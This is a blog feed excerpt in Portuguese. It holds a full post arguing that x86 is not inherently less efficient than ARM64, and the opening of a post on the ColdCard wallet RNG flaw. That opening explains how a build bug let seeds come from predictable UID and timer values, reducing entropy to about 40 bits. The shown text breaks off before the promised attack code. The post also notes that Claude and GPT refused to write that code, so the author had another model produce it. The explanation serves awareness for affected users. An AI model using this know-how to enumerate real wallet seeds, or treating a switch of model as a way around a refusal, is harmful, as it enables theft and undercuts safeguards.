]]></content:encoded><category>armazenamento-e-backup</category><category>homelab</category><category>hardware</category></item><item><title>A Volta da Intel: ARM64 vs X86-64 não é como você imagina</title><link>https://akitaonrails.github.io/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</guid><pubDate>Tue, 11 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.</p>
<p>Minha tese: isso era verdade gerações atrás, quando decodificar x86 custava uma fatia relevante da pastilha (o <em>die</em>). Hoje o x86 é, na prática, uma camada de tradução pra micro-instruções — e o que separa Apple, Qualcomm e Intel nunca foi o conjunto de instruções. A crise da Intel foi gerencial e de fábrica, não arquitetural. E é por isso que a volta dela, agora, faz sentido.</p>
<h2>O que os reviews mostram<span class="hx:absolute hx:-mt-20" id="o-que-os-reviews-mostram"></span>
    <a href="#o-que-os-reviews-mostram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os laptops Panther Lake (Core Ultra série 3, lançados na CES em 5 de janeiro e à venda desde 27 de janeiro) entregam números que a era Meteor/Arrow Lake não sonhava. Começando por bateria — Dell XPS 14 2026 (Core Ultra X7 358H) contra MacBook Air 15 (M5):</p>
<table>
  <thead>
      <tr>
          <th>Teste de bateria</th>
          <th>Dell XPS 14 (Panther Lake)</th>
          <th>MacBook Air 15 (M5)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/43-hours-battery-life-Dell-XPS-14-2026-lasts-almost-3x-longer-vs-MacBook-Air-15-M5-in-web-browsing-test.1262947.0.html"target="_blank" rel="noopener">Hardware Canucks</a>, com VRR)</td>
          <td><strong>43 horas</strong></td>
          <td>14h30</td>
      </tr>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/Dell-XPS-14-2026-with-Intel-Panther-Lake-delivers-55-longer-battery-life-vs-2025-Dell-14-Premium.1225329.0.html"target="_blank" rel="noopener">Notebookcheck</a>, outra metodologia)</td>
          <td>16h45 (+55% vs modelo 2025)</td>
          <td>17h12</td>
      </tr>
      <tr>
          <td>YouTube 4K</td>
          <td><strong>20h21</strong></td>
          <td>14h</td>
      </tr>
      <tr>
          <td>Carga pesada (game)</td>
          <td>2h30</td>
          <td><strong>4h10</strong></td>
      </tr>
  </tbody>
</table>
<p>Leitura honesta: em uso leve, o Dell empata ou passa; em carga sustentada, a Apple continua imbatível. E o DHH publicou que seu XPS 14 rodando Omarchy Linux passa de 16 horas de uso real, com consumo em repouso de 1,4W — a Dell fez questão de <a href="https://www.dell.com/en-us/blog/year-of-the-linux-laptop-omarchy-on-xps/"target="_blank" rel="noopener">suporte a Linux desde o dia um</a>.</p>
<p>Na CPU, o topo de linha Core Ultra X9 388H contra o M5 (<a href="https://www.notebookcheck.net/Intel-Panther-Lake-Core-Ultra-X9-388H-performance-analysis-Outpaces-Arrow-Lake-and-exceeds-Zen-5-in-efficiency.1212583.0.html"target="_blank" rel="noopener">dados da Notebookcheck</a>):</p>
<table>
  <thead>
      <tr>
          <th>Métrica</th>
          <th>Core Ultra X9 388H</th>
          <th>Apple M5</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cinebench 2024 multi-core</td>
          <td>~1.162</td>
          <td>~1.172 (<strong>empate estatístico</strong>)</td>
      </tr>
      <tr>
          <td>Cinebench 2024 single-core</td>
          <td>~130</td>
          <td><strong>200</strong> (~30% à frente)</td>
      </tr>
      <tr>
          <td>Eficiência single-core</td>
          <td>5,17 pts/watt</td>
          <td><strong>13,1 pts/watt</strong></td>
      </tr>
      <tr>
          <td>Eficiência multi-core limitado a 20W</td>
          <td>24,6 pts/watt</td>
          <td>24,8 (M4)</td>
      </tr>
  </tbody>
</table>
<p>Single-core continua território da Apple, que faz o mesmo trabalho <strong>com um terço da energia</strong>. Mas em multi-core moderado, a Intel encostou. Contra a AMD (Ryzen AI 9 465) o 388H ganha em tudo; contra o Snapdragon X Elite de primeira geração também; o X2 Elite Extreme, que chegou em 2026, já devolveu a coroa de CPU Windows pra Qualcomm (+24% em single-core). Honestidade acima de tudo.</p>
<p>Na GPU, o veredito é mais misto que o marketing da Intel sugere:</p>
<table>
  <thead>
      <tr>
          <th>Confronto da Arc B390</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vs Radeon 890M (AMD)</td>
          <td><a href="https://videocardz.com/newz/intel-arc-b390-beats-amds-mainstream-igpus-and-nears-rtx-4050-level-performance-in-some-tests"target="_blank" rel="noopener">+63 a 80%</a></td>
      </tr>
      <tr>
          <td>vs RTX 4050 de laptop</td>
          <td>empate técnico</td>
      </tr>
      <tr>
          <td>vs Strix Halo (AMD) a 15-20W</td>
          <td><a href="https://www.notebookcheck.net/No-chance-for-AMD-Intel-Panther-Lake-Core-Ultra-X9-388H-trounces-AMD-Strix-Halo-at-low-power-signaling-handheld-gaming-domination-in-2026.1213244.0.html"target="_blank" rel="noopener">vence</a></td>
      </tr>
      <tr>
          <td>vs GPU do M5 base</td>
          <td>vence em desempenho, perde em fps/watt</td>
      </tr>
      <tr>
          <td>vs M5 Pro / M5 Max</td>
          <td><a href="https://nanoreview.net/en/gpu-compare/intel-arc-b390-vs-apple-m5-max-gpu-40-core"target="_blank" rel="noopener">17 contra 24 e 44</a> — sem chance</td>
      </tr>
  </tbody>
</table>
<p>O resumo da <a href="https://arstechnica.com/gadgets/2026/02/intel-panther-lake-core-ultra-review-intels-best-laptop-cpu-in-a-very-long-time/"target="_blank" rel="noopener">Ars Technica</a> é o mais justo: &ldquo;o melhor CPU de laptop da Intel em muito tempo&rdquo; — com a ressalva de que a Intel precisa provar que isso é o novo normal, não uma aberração.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> bateria de MacBook num laptop x86 aconteceu — em uso leve. Em single-core e sob carga pesada, a Apple ainda dita o ritmo.</p>

</blockquote>
<h2>A crença: &ldquo;pra ser eficiente tem que ser ARM&rdquo;<span class="hx:absolute hx:-mt-20" id="a-crença-pra-ser-eficiente-tem-que-ser-arm"></span>
    <a href="#a-cren%c3%a7a-pra-ser-eficiente-tem-que-ser-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo programador já ouviu a explicação: ARM tem conjunto de instruções simples, de tamanho fixo, elegante. O x86 é uma quimera acumulada desde 1978, com instruções de tamanho variável, modo real, segmentação, décadas de bagunça. &ldquo;Portanto&rdquo; ARM é inerentemente mais eficiente, e o caminho pra qualquer um chegar na eficiência da Apple ou da Qualcomm é migrar pra ARM64.</p>
<p>Tem verdade aí: o x86 carrega entulho histórico, e decodificar instrução de tamanho variável é objetivamente mais chato que decodificar instrução fixa de 32 bits. O erro está na conclusão. Essa diferença importava quando a lógica de decodificação ocupava uma fração significativa do chip. Isso faz muito tempo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a diferença entre ISAs importava quando a decodificação ocupava uma fração relevante da pastilha. Isso acabou há gerações.</p>

</blockquote>
<h2>O x86 virou camada de tradução em 1995<span class="hx:absolute hx:-mt-20" id="o-x86-virou-camada-de-tradução-em-1995"></span>
    <a href="#o-x86-virou-camada-de-tradu%c3%a7%c3%a3o-em-1995" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Pentium Pro, de novembro de 1995, já não executava x86 diretamente: ele traduzia cada instrução CISC pra micro-operações internas estilo RISC e executava essas. A AMD fez o mesmo com o K5 em 1996 (as &ldquo;ROPs&rdquo;). Ou seja: faz <strong>trinta anos</strong> que &ldquo;executar x86&rdquo; significa &ldquo;traduzir pra outra coisa e executar a outra coisa&rdquo;. O x86 é uma interface de compatibilidade, uma camada de tradução sobre um motor RISC. E os números mostram o quanto essa camada ficou barata:</p>
<table>
  <thead>
      <tr>
          <th>Medição</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Micro-ops por instrução x86 (Pentium Pro, dados da Intel)</td>
          <td>1,2 a 1,7</td>
      </tr>
      <tr>
          <td>Acerto do cache de micro-ops (desde Sandy Bridge, 2011)</td>
          <td>~80% em geral, ~100% em loops quentes</td>
      </tr>
      <tr>
          <td>Custo do decodificador no Haswell (<a href="https://research.aalto.fi/en/publications/empirical-study-of-the-power-consumption-of-the-x86-64-instructio/"target="_blank" rel="noopener">Hirki et al., 2016</a>)</td>
          <td>3 a 10% da potência do pacote, no pior caso</td>
      </tr>
      <tr>
          <td>Custo de desligar o cache de micro-ops (<a href="https://chipsandcheese.com/p/how-zen-2s-op-cache-affects-performance"target="_blank" rel="noopener">Zen 2, Chips and Cheese</a>)</td>
          <td>+4 a 10% no core, +0,5 a 6% no pacote</td>
      </tr>
  </tbody>
</table>
<p>Quando o cache de micro-ops acerta, o hardware de busca e decodificação fica literalmente desligado. A conclusão do estudo da Hirki é seca: &ldquo;o conjunto de instruções x86-64 não é um obstáculo relevante pra produzir um processador energeticamente eficiente&rdquo;. E o estudo acadêmico definitivo — <a href="https://research.cs.wisc.edu/vertical/papers/2013/hpca13-isa-power-struggles.pdf"target="_blank" rel="noopener">Blem, Menon e Sankaralingam, HPCA 2013</a>, medindo ARM contra x86 de verdade — concluiu: contagem e composição de instruções são independentes do ISA em primeira ordem, as diferenças de performance vêm de microarquitetura, e &ldquo;o consumo de energia é, novamente, independente do ISA&rdquo;.</p>
<p>O Jim Keller — o cara que desenhou o Zen da AMD e os chips A4/A5 da Apple, alguém que morou nos dois lados — foi ainda mais direto numa entrevista à AnandTech: a decodificação de tamanho variável &ldquo;não está dominando a pastilha, então não importa tanto&rdquo;. O que limita performance hoje, segundo ele, é previsibilidade de branch e localidade de dados.</p>
<p>E tem o detalhe que derruba o mito de vez: ARM moderno faz a mesma coisa. O Cortex-A77 tem cache de micro-ops. A Samsung adicionou um no Exynos M5 explicitamente pra economizar energia de busca e decodificação. O A64FX da Fujitsu — o ARM dentro do supercomputador Fugaku — decodifica a instrução SVE <code>FADDA</code> em <strong>63 micro-ops</strong>. Sessenta e três. A fantasia do &ldquo;ARM é uma instrução por ciclo, simples e pura&rdquo; não existe mais em nenhum ARM de alto desempenho.</p>
<p>Uma nuance honesta antes de seguir: o comprimento variável do x86 realmente dificulta fazer decodificadores muito largos — a Apple decodifica <strong>até o dobro</strong> de instruções por ciclo que um x86. É uma dificuldade de engenharia real. Só que ela se paga em área de lógica, que é barata, e não em consumo proporcional ao trabalho — que é o que define bateria.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> faz trinta anos que nenhum x86 executa x86 — tudo vira micro-operação estilo RISC. O ISA virou interface de compatibilidade.</p>

</blockquote>
<h2>A conta dos transistores<span class="hx:absolute hx:-mt-20" id="a-conta-dos-transistores"></span>
    <a href="#a-conta-dos-transistores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender por que o peso da decodificação evaporou, olha a evolução:</p>
<table>
  <thead>
      <tr>
          <th>Ano</th>
          <th>Chip</th>
          <th>Processo</th>
          <th>Transistores</th>
          <th>Marco</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2000</td>
          <td>Pentium 4 Willamette</td>
          <td>180nm</td>
          <td>42 milhões</td>
          <td>a era do clock subindo</td>
      </tr>
      <tr>
          <td>2006</td>
          <td>Core 2 Duo</td>
          <td>65nm</td>
          <td>291 milhões</td>
          <td>o pivô multicore pós-Tejas</td>
      </tr>
      <tr>
          <td>2007</td>
          <td>Penryn</td>
          <td>45nm</td>
          <td>410 milhões</td>
          <td>primeiro high-k metal gate da indústria</td>
      </tr>
      <tr>
          <td>2011</td>
          <td>Ivy Bridge</td>
          <td>22nm</td>
          <td>1,4 bilhão</td>
          <td>FinFET 3D, -50% de potência na mesma performance</td>
      </tr>
  </tbody>
</table>
<p>Em 2000, cada bloco de lógica era um orçamento apertado, e a bagunça do x86 custava caro. Conforme os transistores ficaram infinitos pra todo fim prático, o custo fixo do decodificador virou troco. No meio do caminho, duas mudanças importantes:</p>
<ul>
<li><strong>A escala de Dennard morreu por volta de 2005.</strong> Vazamento de corrente impediu que os clocks continuassem subindo, a Intel cancelou o Tejas em 2004 e o mundo virou multicore. Clock parou nos 1-4GHz e nunca mais saiu dali.</li>
<li><strong>A lei de Moore virou economia, não física.</strong> O custo por transistor parou de cair no 28nm: uma fab de ponta hoje custa US$20 a 30 bilhões, e uma máquina High-NA EUV da ASML custa US$350 milhões.</li>
</ul>
<p>E o que ocupa pastilha e consome energia num chip moderno? Caches gigantes, branch predictors, dezenas de execution ports, GPU, NPU, motores de mídia. O decodificador de x86, na fila do pão, nem aparece.</p>
<p>E a história dá a prova empírica perfeita: de 2015 a 2021, a Intel ficou presa em 14nm — Skylake e seus derivados, seis anos de processo estagnado por falha de fábrica. Mesmo assim, esses cores velhos em 14nm trocavam soco com o Zen 2 da AMD, fabricado em 7nm pela TSMC. Se o x86 fosse o problema, isso seria impossível. O gargalo era a fábrica. Era a fábrica o tempo todo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> seis anos presa em 14nm, e mesmo assim a Intel competia com chips em 7nm da TSMC. O gargalo era a fábrica, nunca o ISA.</p>

</blockquote>
<h2>O que realmente faz a Apple ser eficiente<span class="hx:absolute hx:-mt-20" id="o-que-realmente-faz-a-apple-ser-eficiente"></span>
    <a href="#o-que-realmente-faz-a-apple-ser-eficiente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O M1 não é eficiente &ldquo;porque é ARM&rdquo;. A Apple tem licença arquitetural da ARM desde o A6, em 2012: ela desenha os próprios cores do zero e só o conjunto de instruções é ARM. Quando a AnandTech dissecou o core Firestorm do M1, o contraste com o x86 contemporâneo era de escolhas de engenharia, não de instruções:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Apple Firestorm (M1, 2020)</th>
          <th>Intel Sunny Cove (2019)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Decodificação por ciclo</td>
          <td>8</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Reorder buffer</td>
          <td>~630 entradas</td>
          <td>352 entradas</td>
      </tr>
      <tr>
          <td>Cache L1 de instruções</td>
          <td>192KB</td>
          <td>32KB</td>
      </tr>
  </tbody>
</table>
<p>Na prática: o dobro de decodificação por ciclo, quase o dobro de buffer de reordenação, <strong>seis vezes</strong> o cache de instruções. Some a isso a memória unificada soldada no pacote e o processo TSMC de última geração. É microarquitetura agressiva, cache enorme, integração vertical e processo de ponta — tudo caro, tudo deliberado, e nada disso vem de graça com o ISA.</p>
<p>Aliás, a recíproca também é verdadeira: dá pra fazer ARM ruim. O mercado está cheio de ARM medíocre. Eficiência é escolha de engenharia e de processo, não certidão de nascença do ISA.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o M1 é eficiente por microarquitetura, cache, processo e integração vertical — não &ldquo;porque é ARM&rdquo;.</p>

</blockquote>
<h2>Suas instruções favoritas não são x86 nem ARM<span class="hx:absolute hx:-mt-20" id="suas-instruções-favoritas-não-são-x86-nem-arm"></span>
    <a href="#suas-instru%c3%a7%c3%b5es-favoritas-n%c3%a3o-s%c3%a3o-x86-nem-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E tem outra coisa que quase ninguém menciona nesse debate: boa parte do que uma CPU moderna executa não pertence ao conjunto &ldquo;clássico&rdquo; de nenhum dos dois lados. Olha o que roda fora dele:</p>
<ul>
<li><strong>Vídeo.</strong> Na Intel, a decodificação fica no Quick Sync, hardware de função fixa que existe desde Sandy Bridge — um bloco separado que nada tem a ver com o legado x86. É por causa dele que a Frandroid mediu o Snapdragon X2 <strong>58% mais lento</strong> que o Panther Lake em exportação de vídeo.</li>
<li><strong>Criptografia.</strong> AES-NI existe desde 2010, extensões de SHA desde 2016 — instruções dedicadas, acrescentadas décadas depois do &ldquo;x86 velho&rdquo;.</li>
<li><strong>IA e matrizes.</strong> AVX-512, depois AVX10, e o AMX, um acelerador de tiles de matriz. O lado ARM tem os equivalentes: NEON, SVE, SME.</li>
</ul>
<p>A Chips and Cheese fez o experimento perfeito: no mesmo encode HEVC 4K, um Ampere ARM levou <strong>mais de doze vezes</strong> o tempo de um Zen 2 com o ffmpeg padrão; usando assembly NEON, o tempo do ARM caiu mais de 60%. A diferença nunca foi ARM contra x86 — era extensão vetorial bem usada contra extensão vetorial ignorada. No mundo real, o trabalho pesado mora nas extensões e nos aceleradores, e esses são ortogonais ao ISA base.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o trabalho pesado moderno — vídeo, cripto, IA — roda em extensões e aceleradores dedicados, ortogonais ao ISA base.</p>

</blockquote>
<h2>A queda foi gerencial, não arquitetural<span class="hx:absolute hx:-mt-20" id="a-queda-foi-gerencial-não-arquitetural"></span>
    <a href="#a-queda-foi-gerencial-n%c3%a3o-arquitetural" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui a parte que me convence de vez. Olha a linha do tempo e tenta achar &ldquo;o x86 era uma limitação fundamental&rdquo; em algum ponto:</p>
<ul>
<li><strong>2005-2006</strong>: a Intel recusa fabricar o chip do iPhone — o Otellini admitiu o arrependimento em entrevista de saída à The Atlantic: &ldquo;o mundo teria sido muito diferente&rdquo;. E o detalhe tragicômico: a Intel <strong>tinha</strong> uma divisão ARM (a XScale) — e vendeu pra Marvell em 2006 por US$600 milhões. Não foi falta de tecnologia; foi falta de visão.</li>
<li><strong>2013-2021</strong>: três CEOs. Krzanich sai em 2018 por escândalo interno. Entra Bob Swan, um CFO de finanças, pra comandar uma empresa de engenharia no momento mais delicado da história dela.</li>
<li><strong>2018-2020</strong>: o 10nm vira piada (Cannon Lake só em tiragem limitada) e em julho de 2020 a Intel anuncia atraso no 7nm — a ação cai 16% num dia. Em abril de 2019, abandona o modem 5G de smartphone; a Apple compra o negócio por US$1 bilhão. Em novembro de 2020, o M1.</li>
<li><strong>2021-2024</strong>: Gelsinger volta com o plano IDM 2.0, &ldquo;cinco nós em quatro anos&rdquo;. Em dezembro de 2024 é empurrado pra &ldquo;aposentadoria&rdquo; — ultimato do conselho, segundo Reuters e Bloomberg. O ano fecha com prejuízo de <strong>US$18,8 bilhões</strong>, 15 mil demissões, dividendo suspenso e a Intel expulsa do Dow Jones depois de 25 anos — substituída pela Nvidia, que naquele momento valia <strong>mais de 30 vezes</strong> a Intel. Até outubro de 2025, a conta de demissões acumuladas chegava a 35.500.</li>
</ul>
<p>Nada nessa lista é arquitetura. É produto perdido, fab atrasada, decisão errada atrás de decisão errada. O x86 estava lá, competente, enquanto a empresa desmontava ao redor dele.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> iPhone recusado, XScale vendida, 10nm quebrado, três CEOs, US$18,8 bilhões de prejuízo — a queda da Intel foi decisão atrás de decisão, não limitação do x86.</p>

</blockquote>
<h2>O resgate improvável<span class="hx:absolute hx:-mt-20" id="o-resgate-improvável"></span>
    <a href="#o-resgate-improv%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E aí 2025 acontece. Lip-Bu Tan assume em março. Em agosto, Trump exige a cabeça dele no Truth Social por laços com a China — e poucos dias depois, após uma reunião na Casa Branca, vira fã do cara. No dia 22 de agosto, o governo americano <a href="https://newsroom.intel.com/corporate/intel-and-trump-administration-reach-historic-agreement"target="_blank" rel="noopener">compra 9,9% da Intel</a>: 433,3 milhões de ações a US$20,47, US$8,9 bilhões no total, convertendo subsídios do CHIPS Act em participação acionária, sem assento no conselho. A SoftBank coloca <a href="https://newsroom.intel.com/corporate/softbank-group-and-intel-corporation-sign-2b-investment-agreement"target="_blank" rel="noopener">US$2 bilhões</a>. E a cereja surreal: a <strong>Nvidia</strong> — a mesma que a expulsou do Dow — <a href="http://nvidianews.nvidia.com/news/nvidia-and-intel-to-develop-ai-infrastructure-and-personal-computing-products"target="_blank" rel="noopener">investe US$5 bilhões</a> e fecha parceria pra colocar chiplets RTX em CPUs x86.</p>
<p>O resultado financeiro começou a aparecer: Q1 2026 com receita de US$13,6 bilhões (+7% ao ano), Q2 com US$16,1 bilhões (+25%), sétimo trimestre seguido acima das projeções. A ação que o governo pagou US$20,47 chegou a <strong>mais de seis vezes</strong> esse valor em maio, quando a Bloomberg noticiou conversas pra Intel fabricar chips da Apple — reportagem preliminar, produção a anos de distância, mas o mercado pirou. Mesmo depois de esfriar, a posição do governo americano segue valendo <strong>cinco vezes</strong> o que custou. O contribuinte dos EUA é, hoje, sócio lucrativo da Intel. Vai entender.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> governo dos EUA, SoftBank e Nvidia como sócios, e a ação cinco vezes acima do preço que o governo pagou — a Intel virou causa nacional, e o mercado comprou a volta.</p>

</blockquote>
<h2>A volta, com os pés no chão<span class="hx:absolute hx:-mt-20" id="a-volta-com-os-pés-no-chão"></span>
    <a href="#a-volta-com-os-p%c3%a9s-no-ch%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Panther Lake é o primeiro produto grande do 18A — RibbonFET (transistor gate-all-around) mais PowerVia (alimentação pelo verso do wafer), saindo da Fab 52 em Chandler, Arizona. Tem ironia deliciosa aqui: o tile de GPU de 12 núcleos do topo de linha ainda é fabricado pela TSMC. E o aproveitamento do 18A (a fração de chips bons por wafer), segundo a Tom&rsquo;s Hardware, só deve chegar ao padrão da indústria em 2027 — a rampa é lenta e a Ars Technica acerta na dúvida: é o novo normal ou uma aberração?</p>
<p>Mas o ponto deste artigo não é torcida organizada. É que o Panther Lake encerra empiricamente um debate que era teológico. Um x86-64 em processo competitivo entrega bateria de MacBook, empata multi-core com o M5 e ganha da concorrência Windows em vários cenários. Se o ISA fosse o fator decisivo, isso não aconteceria nunca, em nenhum processo. O que derrubou a Intel foi gestão; o que a traz de volta é fab e foco; e o que separa Apple, Qualcomm, AMD e Intel é microarquitetura, cache, processo e integração — exatamente como o Jim Keller e a literatura sempre disseram.</p>
<p>Torço pela volta dela. Não por nostalgia de quem montou PC com Pentium, mas porque o mercado de laptops eficientes estava virando duopólio confortável — e duopólio confortável é inimigo de preço e de inovação. Que a briga continue.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o Panther Lake encerra um debate teológico: x86 competitivo existe quando a fábrica é competitiva. O jogo nunca foi sobre instruções.</p>

</blockquote>
]]></content:encoded><category>hardware</category><category>reviews</category></item><item><title>Explorando o problema escandaloso do RNG da Coinkite</title><link>https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Ontem publiquei o alerta prático: &lt;a href="https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/"&gt;se você guarda Bitcoin em ColdCard, mova tudo&lt;/a&gt;. Hoje vou mostrar &lt;strong&gt;como&lt;/strong&gt; a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.&lt;/p&gt;
&lt;p&gt;O código didático deste artigo foi gerado com &lt;strong&gt;Kimi K3&lt;/strong&gt;. É curioso notar que, ao mesmo prompt, tanto o &lt;strong&gt;Claude&lt;/strong&gt; quanto o &lt;strong&gt;GPT&lt;/strong&gt; se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem publiquei o alerta prático: <a href="/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/">se você guarda Bitcoin em ColdCard, mova tudo</a>. Hoje vou mostrar <strong>como</strong> a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.</p>
<p>O código didático deste artigo foi gerado com <strong>Kimi K3</strong>. É curioso notar que, ao mesmo prompt, tanto o <strong>Claude</strong> quanto o <strong>GPT</strong> se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.</p>
<p>O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: &ldquo;se a ColdCard fica offline, como os bitcoins sumiram?&rdquo;.</p>
<blockquote>
  <p><strong>Aviso:</strong> o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.</p>

</blockquote>
<h2>O resumo do post anterior<span class="hx:absolute hx:-mt-20" id="o-resumo-do-post-anterior"></span>
    <a href="#o-resumo-do-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro <code>MICROPY_HW_ENABLE_RNG</code> foi definida como <code>0</code>, mas a guarda no <code>libNgU</code> usava <code>#ifndef</code>, que só pergunta se o símbolo existe. O build passou, a chamada <code>rng_get()</code> caiu no fallback de software <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.</p>
<p>Para quem não lida com hardware, vale traduzir essas siglas:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. <strong>A ColdCard não tem essa bateria.</strong> Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores <code>RTC-&gt;TR</code> e <code>RTC-&gt;SSR</code> leiam zero ou um valor estático toda vez que o aparelho liga &ldquo;frio&rdquo;. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o &ldquo;tempo&rdquo; não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.</li>
<li><strong>SysTick</strong> é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até <code>0x00FFFFFF</code> e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como <code>0x003D7A12</code>. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).</li>
</ul>
<p>A análise da <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> e o <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">backgrounder técnico da Coinkite</a> concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.</p>
<p>O ponto central é: <strong>a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos.</strong> Quarenta bits não são seguros. São enumeráveis com hardware barato.</p>
<h2>A carteira não fica &ldquo;dentro&rdquo; da ColdCard<span class="hx:absolute hx:-mt-20" id="a-carteira-não-fica-dentro-da-coldcard"></span>
    <a href="#a-carteira-n%c3%a3o-fica-dentro-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.</p>
<p>No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva <code>secp256k1</code>. Quem conhece o número pode assinar. Quem não conhece, não consegue.</p>
